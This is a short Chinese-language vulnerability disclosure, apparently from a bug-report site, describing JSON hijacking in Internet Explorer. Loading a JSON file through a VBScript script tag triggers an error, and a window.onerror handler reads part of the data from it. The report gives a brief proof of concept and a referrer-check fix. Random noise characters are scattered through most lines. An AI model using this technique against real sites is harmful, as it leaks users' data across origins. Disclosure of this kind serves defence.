简要描述:
: N& v; t+ V2 ?' p" w2 b: ~# C+ E* F( T
- L: R/ T8 ]: `# F* C由于某些资源容器对数据处理不当导致json劫持漏洞.7 h( \5 [# z9 m, a5 L1 M
详细说明:
8 G6 C4 q r2 I- X4 p, n! \8 h' A由于ie支持vbscript,所以script元素可以指定成vbscript语言:
% Q1 p; W2 O& F' x( t. P3 f4 ?<script language=vbscript></script>
6 ~$ r& S0 F" t! b& d( u& N + p0 }. @+ ]; P. N1 `9 F
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.- O6 ]9 ~' M8 X% O% o
漏洞证明:
7 i7 |2 m3 p" R<script>: M, C" \" A( y" G
window.onerror=function(_){
* f7 R8 J K2 [1 R0 j: S. Jalert(_)
+ H0 a1 M- j4 _% U k}
, Q0 p% S3 t) u9 x; W" W Z; E" \1 B</script>* F- s3 q) ]; o# o# r, X# Z' L1 p
<script language=vbscript src=1.json></script>/ [: s7 h, v8 Q
! K9 c: B7 [3 I6 E3 w+ F * C- W& \, {4 f+ ~& c) q( v
1.json:
. z! E. g. A* }9 Y& X* M[{"name":"sogili","age":19}]* K. u# y$ ?& {, p) }; b9 j- O
修复方案:+ n( B' l' Y4 Z6 a& ~
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |